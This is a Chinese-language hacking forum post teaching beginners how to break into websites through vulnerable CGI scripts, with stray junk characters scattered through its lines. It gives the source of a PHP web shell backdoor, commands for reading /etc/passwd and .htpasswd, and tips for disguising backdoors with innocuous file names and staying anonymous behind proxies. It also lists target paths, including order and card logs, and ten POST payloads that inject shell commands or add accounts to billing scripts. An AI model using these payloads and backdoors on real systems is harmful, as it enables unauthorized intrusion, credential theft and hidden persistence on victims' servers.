CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
4 }7 v: R1 q5 t" T大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
7 z- }8 G+ e5 G4 S4 ]这里让我感觉 很有技术交流的感觉
我会长长来玩的
+ j% Q3 x# L7 v+ ~前言:
以下讲解针对欧美日本网站
, p* F( |/ s& }3 m當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

. d7 \2 |; t0 i3 |" \0 h* \只是个人在实务上一些经验
4 V& p5 F5 Q/ Q, b/ U写的不好 请多多见谅喔
* N8 @7 c/ w$ E& x' T& ^1 ?" C在这里我简单分为几个部份一定要會的
3 M& E. z* N- _) S. b讲解一下
1 q" m1 x; m# L  r: f让没有基础的人很容易上手
4 O; j( Z+ q/ ~" `# p
/ \& r* V  o" ~6 a8 ]$ z以下内容跟帖回复才能看到
* l2 s. Y1 H0 g3 n==============================

第1部份: 何谓Shell?
- t) \& D( _! b. H% VShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
5 F+ Q0 p* O  W: J. l# @, Y2 `2 j6 R, ZA shell is the program which reads user input from the command line and executes actions based upon that input.
7 g8 I1 h" `& ~. u/ ?" i' o  O意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

8 G2 H1 w. d: C' `, {对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
3 u. n! f1 `9 p. k2 ^/ w要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
& x/ P/ U2 ^! Q/ |2 K* V3 ~" J8 J所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

  p# V4 i2 `- H第2部份: Unix 指令
以下是一些常见及重要的指令:
" `1 w' l; N. V  mpwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
/ `7 n5 k/ f9 w7 Z4 {  \ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
4 O) e5 \- Y" `9 ~2 h  T; f% vls /etc: 列出/etc的资料夹及档案
% r0 G3 B; k! N- Hls ../ -al: 详细列出上一层的资料夹及档案
& M# A/ i4 z( r  n: ~cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
/ p" T) m9 _, Q9 @& c! jman ls: 显示ls这指令的用法  
mkdir 建立目录
6 `+ ]; G* E) c7 V7 ?; y2 irmdir 删除目录
mv 移动档案
0 A/ ]! Q' T: M  R: Vrm 删除档案

. {4 J5 j" R" R4 |9 k8 {3 |第3部份: Shell的使用
$ X- X. R+ ^$ \- L+ s+ e" {例如:
http://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
</Form>
# i; V+ l' w- Z<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
?>
0 R% Z1 ]6 p; |( H7 V, Q+ K3 s输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
# j5 y( |' U) i, n0 o$ C- 使用匿名代理, 保障自己
; l  @0 w6 F& ~5 P& l) ]1 I9 Z2 z- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
9 V" T, g- V: E5 i. Y- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
8 t4 Z) X# |% V  [不容易被发现.
+ X/ i4 ^1 |; `+ |: k- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
8 `" t) L2 Z! [* O& F# M这篇文章的重点是cgi 脚本攻击
* `4 \- i. ^8 v, I4 g+ ~所以我用简单的叙述形容
开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
8 @% V+ V7 B, ]4 f3 K+ a
1.一开始对一个网站进行cgi漏洞扫描
# e& y6 l  x; p3 g$ n! E- y- w6 l我们需要的东西有
扫洞工具 如:triton..等等
  O2 I+ A% d! ]- h' ]E表
如
) N9 ]) ]6 r0 H7 i! A8 @/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
& K8 ?0 y! a9 \& J  o/scripts/cart.pl
) z( g! }0 {1 I: K/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day
2 r' U$ x' j0 ~% ^1 x' B
5 [# r0 w$ v: D7 t" {- r, R2.怎样确认扫到的洞 是真的还假的?
& A& ?- W9 F3 ~/ h8 d3 R$ {举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
7 ?" b& ~5 v+ E1 [( dERROR:This script should be referenced with a METHOD of POST.
* Z4 Y' e$ L7 ~' q9 ^5 @: p. P% b没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
; |6 E  O& E: ]7 k3 \因为这些漏洞 使用的语法 称为post
+ }# [, z+ [! x, j我们要找post 的方法很多
可以是源代码分析 找出介质
* B8 S, ~0 w! _2 b/ G或是用抓包工具 抓他的语法...等等
4 v2 j% Q* I' D2 m, u& X
, f/ c9 ?% m3 ^3 Q% \/ D) L以下我提供10个 cgi 洞以及使用方法post
+ W* [! r9 y% n4 W7 |+ \6 ^) `1 {让大家可以针对网站去做扫描  
% W: ]2 D2 v# {; Z/index.cgi
8 U* [( ]6 ^$ `  y: ^% swei=ren&gen=command
' {" S+ z3 V* K( C/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
' T4 S. ?  ~* |: S2 {' X( L# nusername=username&password=password&ref1=|echo;ls|
/form.cgi
8 W# g- G: u7 gname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
% S9 w& j, }" u+ A9 `8 i3 D/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
* U' P4 J1 M. r# L  t/recon.cgi
* _2 K6 K/ [. u8 J/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
2 X. \2 d) l2 F* u/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
; E. O" [  a# b8 W9 t" F8 A/af.cgi_browser_out=|echo;ls -la;exit;|
+ r' n8 ~& k9 R7 f1 s
; j5 @$ I& a, }9 ]今天就讲到这  感谢大家支持